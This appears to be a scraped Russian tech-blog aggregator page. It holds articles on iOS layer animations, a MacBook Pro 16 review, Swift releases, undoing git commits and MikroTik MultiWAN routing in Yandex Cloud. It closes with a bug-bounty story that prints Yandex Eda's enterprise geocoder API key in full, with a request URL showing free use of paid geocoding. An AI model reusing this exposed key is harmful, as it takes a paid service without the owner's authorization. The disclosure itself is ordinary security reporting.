Мы можем из кода создать дочерней слой, добавить его к основному черезaddSublayer()и после санимировать UIView черезUIView.animate(withDuration:5). При этом будет наблюдаться различие в анимациях: изменения на корневом слое будут длиться 5 секунд, в то время как его дочерний (созданный нами) будет анимироваться куда быстрее. Это необходимо помнить и понимать чтобы сэкономить часы на отладке.

UIView может быть делегатом только у одного слоя. Несмотря на то, что мы можем из кода задать эту view делегатом у дочернего слоя,работать это не будети очень скоро приведет к падению приложения.

Явное - это гибко и удобно

Помимо неявных анимаций, конечно же существуют и явные, которыми мы можем управлять более гибко и удобно. За создание и управление явными анимациями ответственен абстрактный классCAAnimation, который позволяет задать делегата анимации (для отслеживания прогресса), тайминг-функцию, длительность, значение от, значение до и прочий контекст. Как уже было сказано,CAAnimation абстрактный класс, и его использовать нельзя. Для анимаций мы можем реализовать свою анимацию, или воспользоваться его потомками, доступными из коробки:

  • [CABasicAnimation] обычная анимация, интерполирующая значение междуfromPointиtoPoint

  • [CAKeyFrameAnimation] анимация, интерполирующая значения между двумя ключевыми кадрами, заданные с помощью массивовvaluesиkeyTimes

  • [CASpringAnimation] пружинная анимация

Анимация будет изменятьpresentationLayerанимируемого слоя. Это копия этого слоя, которая отражает его состояние в конкретный момент времени. Если вы хоть раз применяли анимации к слою, то вероятно знаете, что пока слой анимируется, значения анимируемых свойств у слоя не меняются. Дело в том, что спрашивая у слоя значения свойств мы спрашиваем значения свойств его модели. Использование жеpresentationLayerпозволяет узнать эти значения в конкретный период, такие, какие они сейчас на экране. Это может быть полезно для нескольких кейсов:

  • Остановка анимации с сохранением текущего состояния (просто удалив анимацию слой вернется к значениям из его модельного представления)

  • Бесшовная смена анимации (для старта новой анимации нужны значенияfromValueиз presentation слоя)

  • Корректная обработка нажатий на анимируемый элемент (во время анимацииhitTest(_:with:) ( точнееpoint(inside:with:)) будет опираться на значения фрейма из модельного представления, и чтобы верно обрабатывать нажатия, необходимо будет переопределитьpoint(inside:with:)для работы с презентационным слоем)

Именно по этой причине после окончания анимации слой возвращается к исходным значениями, если не сменить у анимации значение свойстваisRemovedOnCompletion. При установке этого свойства вfalseконечные значения анимируемых свойств сохранятся в модельном представлении слоя.

Стоит помнить о том, что анимации зависят от жизненного цикла приложения и самого слоя. При уходе приложения в бекграунд или удалении слоя изsuperviewанимацииCAAnimationудаляются, поэтому свернув приложение в середине анимации, вы увидите объект в том состоянии, в котором он был до начала анимации.

А вот и сказочке конец

Надеюсь вы нашли что-то новое или разложили уже имеющиеся знания по полочкам, хотя бы немного. Всем интересных проектов и чистого кода :D

Подробнее..

Из песочницы Что за чудо инновация MacBook Pro 16 и зачем он нужен?

26.09.2020 16:11:14 | Автор: admin
Добрый день всем! Моя первая публикация на Хабре, и она о технике от моей любимой компании Apple.

Речь пойдет о коробочке с яблоком на крышке под названием MacBook Pro 16 2020. Эту чудо технологию мне выдали как служебный на текущем месте работы, новенький, в коробочке, никем не юзаный, и Вы скажете Ему тут мак за 200 тыщ выдали, а он не доволен? Зажрался! Но я поясню.

Я всегда смотрю на технику или софт, за который та или иная компания требует определенную сумму денег, со стороны отношения этих компаний к потребителю. А если за тот или иной продукт требуют сумму, которая для 70% населения нашей страны кажется чем то недостижимым, то требования к этому продукту растут прямо пропорционально их стоимости.

И вот у меня в руках оказалась инновационная технология, за которую очень многие готовы продать свой дом, свою жизнь, свою душу, своих друзей, и вообще все что видят, лишь бы это заполучить. Пользуюсь я им уже пол года, пользуюсь постоянно, и уже сложилось достаточно прочное впечатление о использовании макбука.

Начну, наверное, с плюсов мака, их тут значительно меньше. Сказать что эти плюсы компенсируют минусы я не могу, потому что в этом случае я обману того, кто читает эту статью.

И скажу сразу, дамы и господа, я буду цепляться за все минусы, потому что за 200 тысяч рублей, я хочу видеть устройство, при использовании которого, я буду получать удовольствие, и где нет такого понятия ну он же стоит дешево, ему можно простить. Он стоит достаточно дорого и должен соответствовать своей цене.

1. Шикарный экран


Я думаю те кто его видели, или те кто возможно увидят, не смогут возразить, что экран на маке очень классный. Прекрасные углы обзора, никаких засветов по углам, картинка насыщенная, все цвета выраженные без искажений. Яркости у него вполне достаточно, гибкая ее настройка позволяет комфортно для глаз работать как в освещенных местах, так и ночью. Тут определенно лайк, подписка и рассказать друзьям.

2. Звук


С чего я реально получил кайф, это звук, который он выдает, динамики на нем очень грамотно проработаны, частоты не мешаются в одну кучу, есть даже басы, понятно что это не саб в девятке, но они есть. Детализация звука очень классная, даже на полной громкости никаких искажений, хрипов и т.п. Звук при этом очень громкий, по факту с такими динамиками никаких портативных дополнительных колонок к нему вам не понадобится, тут без вопросов жирный лукас.

3. Внешний вид и детали корпуса


Тут у меня двоякое ощущение, есть как и минусы(об этом ниже), так и плюсы. В общем и целом, если смотреть просто со стороны, не всматриваться в детали, желательно где-то с расстояния 1 метр, то выглядит красиво, аллюминиевый корпус в целом придает ему какой то особенный вид и уникальность, сразу понятно что это мак, особенно когда видишь яблоко на крышке. На этом все по поводу плюсов внешнего вида, потому что при детальном осмотре впечатление начинает постепенно портиться.

4. Тачпад


Тачпад прекрасен. Такая сочная булочка, после которого мышкой пользоваться уже и не хочется. Очень классный, ставлю лайк, советую остальным производителям ставить на свои устройства такие же, никаких к нему вопросов, идем дальше.

5. Система охлаждения


Первое время думал, что оно тут пассивное, оказалось нет. Его не слышно вообще, не смотря на горячий камень, иногда бывает зашумит, но это бывает так редко, что оно не нервирует, и по факту, сидишь всегда в тишине. Кто-то скажет да там просто нету видеокарты, вот и не шумит, чем там греться. Тут по спорю, у меня до этого был HP, там тоже не было видеокарты, но при этом он был достаточно шумным, так что над охладом поработали, красавчики.



Ну а теперь, дамы и господа, переходим к темной стороне этой лошадки, то, что реально заставляет задать себе вопрос "а за что я отдал такие деньги?!"

1. Внешний вид и детали корпуса


Как уже писал выше, если смотреть на него с расстояния метр и не трогать, то все замечательно, но давайте его потрогаем.

Очень много острых топорных углов, например по бокам отверстия под вентиляцию, о них реально можно порезаться, когда берешь ноут за одну сторону или другую, они не скругленные, они неприятные на ощупь, они тупо острые, и если перестараться, то порезаться сильной проблемы не составит. Так же углы самого корпуса, которые идут по краям крышки, их вроде как то чуть скруглили, но все равно они неприятные при прикосновении, недопустимый грубый косяк за такую стоимость. Такая же беда с крышкой матрицы, такие же острые неприятные углы.
Допустимо? Нет конечно, этож не дексп за 5 тысяч рублей. Идем дальше.

2. Клавиатура


Печаль, беда, разочарование. Крайне неудобная клава, об этом все владельцы говорят, но ничего не меняется. Неудобное расположение доп клавиш, совершенно убогие комбинации, многие клавиши, которые часто используются, например стрелки, очень мелкие и неудобные, чтобы понять всю боль использования этой клавиатуры надо по пользоваться ей хотя бы пару дней. Тоже абсолютно недопустимо за такую цену. Я понимаю, что это бренд, который хочет быть уникальным во всем, но если эта уникальность достигается такими жертвами, то как говорится не нужон нам этот ваш интернет. Идем дальше.

3. Отсутствие обычных портов USB


Нужно больше тайп си! У тебя обычная флешка? Покупай переходник, который стоит далеко не 200 рублей, и ходи как дурачок Иванушка с кучей разных переходников. Хочешь подключить монитор? Покупай еще один переходник! По факту, можно сразу купить дополнительную сумку, чтоб туда эти переходники упаковать и быть готовым к любым ситуациям. ВОЗМОЖНО, это даже можно простить, как то смириться, например когда люди покупают ренж ровер, они же мирятся с тем, что автосервис их дом родной, но, давайте вспомним сумму, 200 тысяч рублей, почему бы не положить в комплект хотя бы один переходник на обычный юсб и один переходник для подключения монитора? Нет, у тебя эпл, живи с этим. Спасибо, что не лайтнинг, как говорится.

4. Наитупейшая OS Catalina


Может высказался грубо, но система максимально тупая. Первое что кинулось в глаза, это вечная хрень с wi-fi. По каким то чудесным причинам он часто уходит в режим я че-то подвисаю и начинаются просадки скорости и т.д. Предвижу в комментах да у тебя просто роутер дешманский тупой, иди провайдера поменяй и т.п.

Но я прежде чем делать громкие заявления это проверил. Проблема наиболее вероятно с кривом софте, потому что у коллег тоже маки, тоже 16, из разных партий, и с вайфаем там такая же ерунда, при чем не важно, дома, в офисе, в кафе или еще где-то, все поголовно жалуются, что периодами с вафлей реально какие то непонятки, которые сами проходят, так что судя по всему не с модулем вайфай проблема, допустимо это за такую сумму? Нет конечно.

Следующий косяк системы, это ее попытки обновления, она выкачивает апдейт, при чем на 100%, чтобы сейчас не писали, что у тебя вайфай соединение рвется просто, потом что-то там с ней происходит, и она снова начинает его выкачивать, последний апдейт накатился что-то типа с 7 попытки, которые безуспешно тянулись 2 дня, уровень на лицо.

Очень неудобно, что я не могу расширить окна по нормальному на весь экран так, чтобы был виден докбар внизу и полоса состояния сверху, либо как паралитик растягиваешь эти окна сам, либо лупасишь вообще на весь экран, типа как браузер по f11, крайне неудобно и грустно.
Очень мало бесплатного софта, ну тут ладно, это наверное не совсем чтобы минус, когда ты покупаешь эпл, ты должен быть готов к тому, что деньги ты будешь класть в него постоянно, но тем не менее, я например не хочу покупать ssh клиента за полторы тыщи рублей.

Finder это вообще отдельная тема для разговора, крайне неудобный, крайне ограничен в функционале, например тот же путь до папки я не могу как в винде прописать напрямую, а надо сидеть и тыкаться в папки, очень раздражает иногда.

Есть еще ряд всяких мелких косяков, которые я сейчас вот так сразу и не вспомню, система периодически ведет себя вообще непонятно как. Мое мнение такое, когда ты покупаешь себе дорогой девайс, ты все же ждешь от него удобства сразу с коробки, а не продолжительных танцев с бубном, чтобы хотя бы 50% этих удобств получить.

5. Игры


Ну тут такой момент, кто-то начнет спорить, что это же мак, какие игры, они там не должны быть. Ребят, у меня был HP бизнес серии, он тоже не тянул игры, но он и стоил не 200к, и к нему вообще вопросов по этому поводу не возникало.

Я поставил стим, поставил кс го, пробовал в разных разрешениях экрана, понижал графику, че только не делал, играбельный геймплей на нем получить не удалось. Один знакомый мне начал скидывать какие то форумы, что вот там есть инструкции, как сделать так чтобы работало, че-то там оптимизировать. Дамы и господа, смоделируем ситуацию, я вот пришел в магазин, отдал свои кровные честно заработанные 200 тысяч рублей, пришел радостный домой, а мне говорят, ну там вот это не будет работать, это не будет работать, ну ты вот там на форумах почитай, там типа надо че-то оптимизировать, а вот тут софт можно сторонний использовать ШТА?! Да за эти деньги я не должен этого ничего делать, у меня все должно работать с К-О-Р-О-Б-К-И, может конечно кто-то не согласится, но по моему мнению, все должно работать сразу, без танцев, без изучения мануалов каких то на форумах, пусть с какими то мелкими недочетами, но без таких вот масштабных проблем. Так что могу сразу сказать, поиграть на этой прорывной технологии тоже не удастся.

Сделаем выводы. Стоит ли он 200 тысяч? Нет, красная цена ему 100-110, в этом диапазоне никаких вопросов бы не было. И все эти явные косяки, это, как я считаю, прямо доказывает соответствующее отношение к потребителю. Та же клавиатура, которую несколько лет подряд клепают одну и ту же, не прислушиваясь к мнению покупателей, о том что она вот тут неудобная, вот тут неудобная, это все пропускается мимо ушей, вместо того, чтобы продумать ее с учетом пожеланий клиента и доработать. Покупать или нет, это решать каждому самостоятельно, но я ожидал увидеть что-то по настоящему интересное и классное, а в итоге разочаровался.

По моему мнению, эти устройства подойдут тем, кто занимается разработкой под iOS, или работает в каком спец софте, который работает только в МакОС, тут вопросов нет, их жизнь вынуждает.
Но те, кто на последние деньги покупает себе это чудо, потратьте лучше лишние деньги на что-то более интересное, что принесет вам радость, есть решения на Windows, которые будут и производительнее, и выглядеть будут гораздо интереснее, и весь софт, игры, всеми любимый серфинг в интернете, все будет работать в разы лучше и стабильнее и цена будет гораздо ниже.

Вот такая статейка получилась, старался максимально подробно обосновать каждую претензию к MacBook Pro 16, кто-то согласится, кто-то нет, это выбор каждого, спасибо за внимание!
Подробнее..
Категории: Apple , Софт , Macbook , Ноутбуки , Notebook

Apple открыла исходные тексты Swift System и выложила Swift 5.3

27.09.2020 02:04:55 | Автор: admin


Компания Apple открыла исходные тексты библиотеки Swift System. Она предоставляет идиоматический набор программных интерфейсов к системным вызовам и низкоуровневым типам данных. Изначально Swift System поддерживал только системные вызовы платформ Apple, но сейчас портирован и для Linux. Swift System написан на языке Swift, компания распространяет его под лицензией Apache 2.0.

Swift System удобна тем, что предоставляет единую точку доступа ко всем системным интерфейсам. Эту возможность можно использовать на всех поддерживаемых платформах, без специфических обвязок на C в Swift-программах. Положительный момент в том, что Swift System не унифицирует системные вызовы, а предоставляет отдельное подмножество API для каждой поддерживаемой платформы, с учетом ее поведения и точным отражением низкоуровневых интерфейсов ОС.

Ранее компания заявила, что ключевая цель создания Swift System упрощение разработки кросс-платформенных библиотек и приложений, включая SwiftNIO и SwiftPM. Swift System не отменяет при этом необходимость ветвления на основе "#if os()" при обращении к низкоуровневым примитивам, зато упрощает эту работу и делает ее более безопасной.

Еще одна новость выход Swift 5.3. Официальные сборки готовы для таких ОС, как Linux (Ubuntu 16.04/18.04/20.04, СentOS 7/8), macOS (Xcode 12) и Windows 10. Исходные тексты распространяются под лицензией Apache 2.0.

В новом выпуске добавлена начальная поддержка платформы Windows, плюс поставка инструментария для сборки и запуска Swift-приложений в Windows 10. Разработчики продолжают совершенствовать функциональность языка. В числе прочих новинок стоит отметить появление инициализатора для типа String, расширение применение выражения where, изменение семантики didSet, поддержки указания нескольких шаблонов в выражениях Catch, добавление типа Float16, атомарные операции с памятью.

Важный момент снижение размера результирующих приложений. Так, если в Swift 4 размер уже готовой программы превышал аналог на Objective-C в 2,3 раза, то сейчас этот разрыв сокращен до 1,5 раза. В новом выпуске еще и ускорена инкрементальная сборка и сборка кода с большим числом свойств и функций, которые импортируются из других библиотек. Расширены свойства диагностики в компиляторе и качество выводимых сообщений об ошибках. В пакетном менеджере еще и реализована возможность включения в пакеты дополнительных ресурсов, которые необходимы во время исполнения. Например, изображения. В пакетном менеджере появилась поддержка компонентов для локализации с возможностью определения условных зависимостей.

Swift современный язык с большим количеством современных методов программирования, включая замыкания, обобщенное программирование, лямбда-выражения, кортежи и словарные типы, быстрые операции над коллекциями, элементы функционального программирования.

Реализация Swift предусматривает задействование технологий свободного проекта LLVM. Для обеспечения высокой производительности Swift-приложения компилируются в машинный код, который выполняется в тестах Apple на 30% быстрее кода на Objective-C. Так, вместо сборщика мусора в Swift используются средства подсчета ссылок на объекты.

В поставку входит пакетный менеджер Swift Package Manager, который предоставляет средства для распространения модулей и пакетов с библиотеками и приложениями на языке Swift, управления зависимостями, автоматизированной загрузки, сборки и связывания компонентов.

Подробнее..

Из песочницы Как отменить commit и не облажаться

26.09.2020 16:11:14 | Автор: admin

Не только разработчикам-новичкам, но и ярым профессионалам приходится прибегать к отмене каких-либо изменений. И тогда, первое, что приходит на ум, это команда git revert, как самый безопасный способ. И тут есть подводные камни, про которые я хочу рассказать.


Возьмем простую ситуацию: разработчик решает реализовать математические функции. Но на половине пути понимает, что данную задачу было бы хорошо декомпозировать, допустим, на две подзадачи:


  • Реализовать арифметические операции (сложение, вычитание, деление и т.д.)
  • Реализовать числовые операции (максимальное значение, минимальное значение, модуль числа и т.д.)

Проверять будет проще да и тестировать. Но он уже начал ее реализовывать, коммиты уже созданы, и что же делать? Не переписывать же!



Рассмотрим дерево коммитов. Видим, что наш разработчик создал ветку functions, класс Arithmetic, отвечающий за реализацию арифметических операций (коммит А), и класс Numerical, отвечающий за реализацию числовых операций (коммит N). Итого два класса и два коммита.



git revert


Решено, дабы ничего не переписывать, наследоваться от functions и создать две ветки numerical и arithmetic. И соответственно отменить ненужные коммиты. То есть выполнить git revert N в ветке arithmetic и git revert A в ветке numerical. Гениально и просто!



Работа кипит и осталось дело за малым смерджить мастер с данными ветками.



И что же мы получили? Ни класса Arithmetic, ни класса Numerical!
А все дело в том, что команда git revert создает новый коммит с отменой изменений и не удаляет из истории коммиты. И в нашем случае после слияния веток получается 4 коммита:


A  N  revert A  revert N

То есть вариант с отменой изменений с помощью команды revert вышел нам боком.


git reset


И тут мы вспоминаем, что есть такая команда как reset, вот она в отличии от revert точно удаляет коммиты из истории. Но есть одно НО она сбрасывает все коммиты до указанного. Такое поведение нам не подходит, так как мы хотим выбрать какие коммиты удалить.


git rebase


Есть еще одно решение использовать команду git rebase для отмены изменений.
Вернемся к моменту создания двух веток numerical и arithmetic и выполним


git rebase -i root

Теперь на уровне каждого коммита, который мы хотим отменить заменим pick на drop. И тогда выбранные нами коммиты сбросятся из истории. Например в ветке numerical:



Тогда в истории у нас останутся только нужные нам коммиты.
Теперь при слиянии веток в master получим оба класса.



Данный метод рабочий, только при условии работы в частной ветке, но если эти манипуляции провести в общей ветке, то при публикации (git push) git сообщает, что ветка устарела, так как в ней отсутствуют коммиты и отменяет публикацию.


Чтобы не бороться с git, старайтесь декомпозировать задачи заранее, а то можете словить сюрприз. Сталкивались ли вы с такими ситуациям, и если да, то как выходили из них?

Подробнее..
Категории: Git , Git revert , Git reset , Git rebase

Из песочницы Яндекс облако и MikroTik MultiWAN

26.09.2020 18:09:56 | Автор: admin

Приветствую читатели, в этой статье хотел бы поделиться опытом настройки внутренней сети яндекс облака и маршрутизацией в интернет через RouterOS MikroTik.


Есть VPC которая администрируется внутренними сервисами и раздает внешние ip внутренним ВМ через шлюз подсети за NATом, что не очень удобно для централизованного администрирования.


Схема внутренней сети и получения внешнего ip в яндекс облаке выглядит следующим образом:



Привязать для всей подсети один внешний постоянный ip можно через NAT-instance или любую ВМ настроив forward, но пробрасывать порты в сеть придётся через изменения конфигурации в самой ВМ и так для каждой подсети. Нужна была реализация управления сетями/подсетями и доступом в одном месте (на момент написания статьи группа безопасности VPC находилась в стадии Preview).


Если коротко, то хотел реализовать такую схему:



Перейду сразу к описанию процесса настройки.


Для примера берем настройки в облаке такие:


Internal1-a  10.1.0.0/24Internal2-a  10.1.1.0/24Internal1-b  10.1.2.0/24Internal2-b  10.1.3.0/24Internal1-c  10.1.4.0/24Internal2-c  10.1.5.0/24

Это минимум который нам нужен, т. к. в облаке привязанный внешний ip роутится через шлюз
По умолчанию в облаке для любой подсети


Gateway  X.X.X.1Internal DNS  X.X.X.2

Создаем ВМ с образом RouterOS.


В облаке выбираем Cloud Marketplace -> Сетевая инфраструктура -> Cloud Hosted Router и сразу добавляем внешние ip адреса к каждому сетевому интерфейсу


RouterOSEther1  10.1.0.254Ether2  10.1.1.254

Создаем ВМ и подключаемся к ether1 через консоль или клиентом winbox. Создаем пользователя с полными правами, отключаем пользователя admin и добавляем rsa public key.


Далее настраиваем все через CLI. Все действия можно сделать и в winbox, меню соответствует команде, заходим в меню ip выбираем route и т.д.


Если посмотрим в таблицу маршрутизации, то увидим маршруты


/ip route print Flags: X - disabled, A - active, D - dynamic, C - connect, S - static, r - rip, b - bgp, o - ospf, m - mme, B - blackhole, U - unreachable, P - prohibit  #      DST-ADDRESS        PREF-SRC        GATEWAY            DISTANCE 0 ADS  0.0.0.0/0                          10.1.0.1                  1 1 ADC  10.1.1.0/24        10.1.1.254      ether2                    0 2 ADC  10.1.0.0/24        10.1.0.254      ether1                    0

По умолчанию маршрут в интернет идет с порта ether1 через шлюз 10.1.0.1 который за NAT выкидывает во внешнюю сеть. Если сейчас опросить все внешние ip адреса, то ответит только первый.


Поскольку у нас 2 внешних адреса находятся за шлюзом внутренних сетей, к которым подключены 2 порта, то нужно прописать дополнительные маршруты указав разные значения distance и добавить маршруты к дополнительным подсетям.


Добавляем маршруты


/ip routeadd dst-address=0.0.0.0/0 gateway=10.1.1.1 distance=2 add dst-address=10.1.2.0/24 gateway=10.1.0.1 distance=1  add dst-address=10.1.3.0/24 gateway=10.1.1.1 distance=1  add dst-address=10.1.5.0/24 gateway=10.1.1.1 distance=1  add dst-address=10.1.4.0/24 gateway=10.1.0.1 distance=1 

По умолчанию зоны доступности подсетей b и c должны быть доступны через шлюз подсети зоны доступности a.


Настраиваем firewall.


Входящие соединения внутренних сетей


/ip firewall filteradd chain=input action=accept src-address=10.1.5.0/24 add chain=input action=accept src-address=10.1.1.0/24 add chain=input action=accept src-address=10.1.3.0/24 add chain=input action=accept src-address=10.1.2.0/24 add chain=input action=accept src-address=10.1.0.0/24 add chain=input action=accept src-address=10.1.4.0/24 

Разрешаем ping


/ip firewall filteradd chain=input action=accept protocol=icmp 

Разрешаем проброс вперед


/ip firewall filteradd chain=forward action=accept src-address=10.1.5.0/24 \dst-address=0.0.0.0/0 add chain=forward action=accept src-address=10.1.1.0/24 \dst-address=0.0.0.0/0 add chain=forward action=accept src-address=10.1.3.0/24 \dst-address=0.0.0.0/0 add chain=forward action=accept src-address=10.1.2.0/24 \dst-address=0.0.0.0/0 add chain=forward action=accept src-address=10.1.0.0/24 \dst-address=0.0.0.0/0 add chain=forward action=accept src-address=10.1.4.0/24 \dst-address=0.0.0.0/0 

Остальные входящие соединения сбрасываем


/ip firewall filter add chain=input action=drop log=no

Меняем очередность правил


/ip firewall filter move numbers="[old rule no]" \destination="[new rule no]"

Любуемся результатом


/ip firewall filter print

Реализация выхода в интернет в данном случае через шлюз внутренней сети и у нас нет портов с прямым внешним ip адресом, поэтому реализуем разделение через MultiWAN. Очень хорошо этот метод описан в презентации РЕАЛИЗАЦИЯ MULTIWAN (ссылка на презентацию в конце статьи)


В конфигурации ВМ отсутствуют WAN порты, которые нужно добавить в конфигурацию firewall mangle, поэтому создадим 2 записи в interface list


/interface listadd name="WAN1"add name="WAN2"

Настраиваем firewall mangle


/ip firewall mangleadd chain=input action=mark-connection \new-connection-mark=con-WAN1 passthrough=yes in-interface-list=WAN1add chain=input action=mark-connection \new-connection-mark=con-WAN2 passthrough=yes in-interface-list=WAN2add chain=output action=mark-routing \new-routing-mark=WAN1 passthrough=yes connection-mark=con-WAN1 add chain=output action=mark-routing \new-routing-mark=WAN2 passthrough=yes connection-mark=con-WAN2 

Добавляем маршруты


/ip routeadd dst-address=0.0.0.0/0 gateway=10.1.0.1 distance=1 routing-mark=WAN1 add dst-address=0.0.0.0/0 gateway=10.1.1.1 distance=1 routing-mark=WAN2 

Добавляем правила маршрутизации, все что не попадает под правило идет через порт ether1, добавлять можно как подсети, так и отдельные хосты


/ip route ruleadd src-address=10.1.3.0/24 action=lookup-only-in-table table=WAN2 add src-address=10.1.5.0/24 action=lookup-only-in-table table=WAN2

На данном этапе все 2 внешних ip отзываются, но внутренние сети не работают правильно или вообще не работают.


Настроим маршрутизацию для каждого из двух контуров в консоли яндекс облака:
Virtual Private Cloud -> Облачные сети -> в каждой Подсети выключаем NAT в интернет -> Таблицы маршрутизации -> Создать, если создано изменить -> добавляем маршрут Префикс назначения: 0.0.0.0/0, Next hop: 10.1.0.1/10.1.1.1 для каждого контура свой шлюз -> сохраняем.


Осталось последнее действие, нужно замаскировать все подсети под внутренний адрес роутера


/ip firewall natadd chain=srcnat action=masquerade src-address=10.1.0.0/24 dst-address=0.0.0.0/0 add chain=srcnat action=masquerade src-address=10.1.1.0/24 dst-address=0.0.0.0/0 add chain=srcnat action=masquerade src-address=10.1.2.0/24 dst-address=0.0.0.0/0 add chain=srcnat action=masquerade src-address=10.1.3.0/24 dst-address=0.0.0.0/0 add chain=srcnat action=masquerade src-address=10.1.4.0/24 dst-address=0.0.0.0/0 add chain=srcnat action=masquerade src-address=10.1.5.0/24 dst-address=0.0.0.0/0

Теперь каждая ВМ в своей подсети выходит в интернет строго со своим внешним ip прописанным в таблице маршрутизации.


В итоге реализовали следующую схему:



Можно запускать клиентов/партнеров/внешние сервисы к внутренним ВМ через два внешних ip адреса:


/ip firewall natadd chain=dstnat action=netmap to-addresses=10.1.5.20 \to-ports=10050 protocol=tcp src-address=7.7.7.1 in-interface-list=WAN2 port=10055 add chain=dstnat action=netmap to-addresses=10.1.0.5 \to-ports=3306 protocol=tcp src-address=7.7.7.2 in-interface-list=WAN1 port=11050

где 7.7.7.1/7.7.7.2 внешние ip клиентов.


Далее настраиваем по своему усмотрению, создаем ipsec, режим сети в фаерволе, настраиваем входящие соединения.


Минимум по настройки разделения подсетей и направление трафика через конкретный внешний адрес выполнен.


Лицензию для MikroTik RouterOS необходимо приобрести, иначе скорость портов будет 100 Мбит/с и ограничения по функционалу
https://wiki.mikrotik.com/wiki/Manual:License


Спасибо за внимание!


Используемые источники:


РЕАЛИЗАЦИЯ MULTIWAN

Подробнее..

Яндекс Баунти или ключ за миллион бесплатно

27.09.2020 04:23:33 | Автор: admin
От автора Puwi на Pikabu, полная копипаста источник: pikabu.ru/story/yandeks_baunti_ili_klyuch_za_million_besplatno_7737687

Приключилась со мной история, которая отражает лояльность компании Яндекс.

Небольшой спойлер история на миллионы.


Яндекс проводит конкурс Охота за ошибками, в рамках которого, участник нашедший уязвимость, удовлетворяющую условиям конкурса, может рассчитывать на денежное вознаграждение (более подробно с условиями и самим конкурсом можно ознакомиться здесь yandex.ru/bugbounty).

Решил я один из вечером посвятить анализу сервисов Яндекса на наличие уязвимостей. Претендентом на анализ стал eda.yandex.ru.

Буквально через пол часа анализа кода сервиса, наткнулся на интересный момент.

На сервисе в исходном коде сразу же красуется такой код:

preconnect href=enterprise.geocode-maps.yandex.ru
link rel=preconnect href=enterprise.api-maps.yandex.ru


Проще говоря, данный код заранее устанавливает соединение с указанным сайтом, а это значит, что скорее всего эти сервисы используются далее на сайте, так оно и есть. Продолжив анализ кода, я нашел где задавался API ключ для вышеуказанного сервиса, а именно js объект в котором задавался ключ объекта geocodeKey и его значение c0d403ab-e5be-4049-908c-8122a58acf23, именно он и станет виновником данного торжества.

Раз пациент подключается к geocode-maps.yandex.ru, можно предположить, что тут происходит геокодирование. Если углубиться, то можно узнать, что у Яндекса есть два вида версии API (бесплатная и платная). Платная подключается с префиксом enterprise в адресе, как в нашем случае enterprise.geocode-maps.yandex.ru.

Уже становится интересно, так как на сайте подключена платная версия API.

Здесь можно ознакомиться с расценками на API ключ yandex.ru/dev/maps/commercial/doc/concepts/jsapi-geocoder-docpage
Небольшой спойлер, цены за год пользования API ключом доходят до 1.5 млн рублей.

Провожу прямое геокодирование и ожидаю ошибку 403 (это ошибка, когда на API ключ наложено ограничение, например по IP или домену, откуда идет запрос), но на моё удивление, я получаю успешный результат геокодирования и всё бы ничего, если бы это был бесплатный запрос, но геокодирование один из пунктов платных запросов на API ключе Яндекса.
Пример прямого геокодирования с ключом Яндекса:

geocode-maps.yandex.ru/1.x/?apikey=c0d403ab-e5be-4049-908c-8122a58acf23&geocode=%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D1%8F,+%D0%91%D0%B5%D0%BB%D0%B3%D0%BE%D1%80%D0%BE%D0%B4%D1%81%D0%BA%D0%B0%D1%8F+%D0%BE%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D1%8C


А здесь мы видим yandex.ru/dev/maps/commercial/doc/concepts/jsapi-geocoder-docpage

что прямое геокодирование или обращение к HTTP API Геокодера является тарифицируемым запросом, т.е. платным, но ведь мы сделали запрос, получили успешный результат и ничего не заплатили!

Далее проведя еще несколько тестов, я окончательно убедился, что Яндекс не защитил свой корпоративный API ключ от стороннего использования и тут же создал обращение, через программу Охота за ошибками от Яндекса.

Ниже представлена переписка с сотрудником Яндекса.

Яндекс:

Проблема использования чужих geocodeKey в JS API нам была уже известна. В связи с этим, к сожалению, мы не можем присудить за нее вознаграждение.


Я:

А при чем здесь использование чужих geocodeKey в JS API, я говорю про конкретный случай в вашем сервисе, про ваш geocodeKey, который вы же и не защитили, что позволяет его использовать всем желающим.


Яндекс:

Так geocodeKey используется в JS API на стороне браузера, защитить его от попадания в браузер технически невозможно. Проблема использования этого geocodeKey сторонним сервисами нам уже была известна. В связи с этим, к сожалению, мы не можем присудить за нее вознаграждение.


Я:

А для чего тогда вот это?

image

Это как раз и защищает ключ от стороннего использования его в платных функциях, например геокодирование.
Как я ранее приводил пример, если у ключа нет ограничений, его может применять кто угодно, но если поставить ограничение в функционале (см скриншот выше), тогда на запрос
geocode-maps.yandex.ru/1.x/?apikey=c0d403ab-e5be-4049-908c-8122a58acf23&geocode=Россия, Белгородская область
будет отдаваться не результат геокодирования, а
403
Forbidden
Invalid key


Яндекс:

Действительно ключ не защищен стороннего использования. К сожалению эта проблема не входит в рамки программы Охота за ошибками. В связи с этим мы можем добавить вас в Зал Славы Охоты за Ошибками (http://personeltest.ru/aways/yandex.ru/bugbounty/hall-of-fame/) без назначения денежного вознаграждения.


Я:

Почему данная проблема не входит в рамки программы Охота за ошибками?
Здесь сказано
yandex.ru/bugbounty
1. Где искать
Веб-сервисы: на доменах yandex.ru, yandex.com, yandex.com.tr, yandex.kz, yandex.ua, yandex.by, yandex.net (кроме people.yandex.net), yandex.st, eda.yandex, ya.ru.
eda.yandex входит в данный перечень
2. A01. Инъекции, согласно классификации OWASP Top-10 версии 2010 года.
Это недостаток внедрения. Злоумышленник может воспользоваться вашим же ключом в своих корыстных целях путем подстановки его в get запросы, своего рода проведя инъекцию на выполнение платных запросов для получения данных (бесплатно) без надлежащей авторизации.


Яндекс:

Описанная вами проблема с нашей точки зрения не относится к классу A01. Инъекции, а относится к классу отсутствия лимитов на использование API. К сожалению, правилами нашей программы пока не предусмотрены выплаты за такой тип уязвимостей, если они не затрагивают безопасность данных наших пользователей.


Я:

Уточните, пожалуйста, согласно какой классификации вы отнесли данный баг к классу отсутствия лимитов на использование API?
Даже если не расценивать данный баг как инъекцию, то он подпадает, как минимум, под один из классов классификации OWASP Top-10 версии 2010 года:
2. Broken Authentication.
5. Broken Access Control.
6. Security Misconfiguration.


Яндекс:

Согласно классификации OWASP API Security Top 10 2019 (http://personeltest.ru/aways/owasp.org/www-project-api-security/). С нашей точки зрения описанная вами проблема не может отнесена к категориям Broken Authentication, Broken Access Control, Security Misconfiguration.
Итоги:

1. Пришлось потратить не мало времени, чтобы доказывать и разжевывать Яндексу, что найденный баг является багом, а также немного научить пользоваться их же функционалом (я про выставление ограничений на ключ).

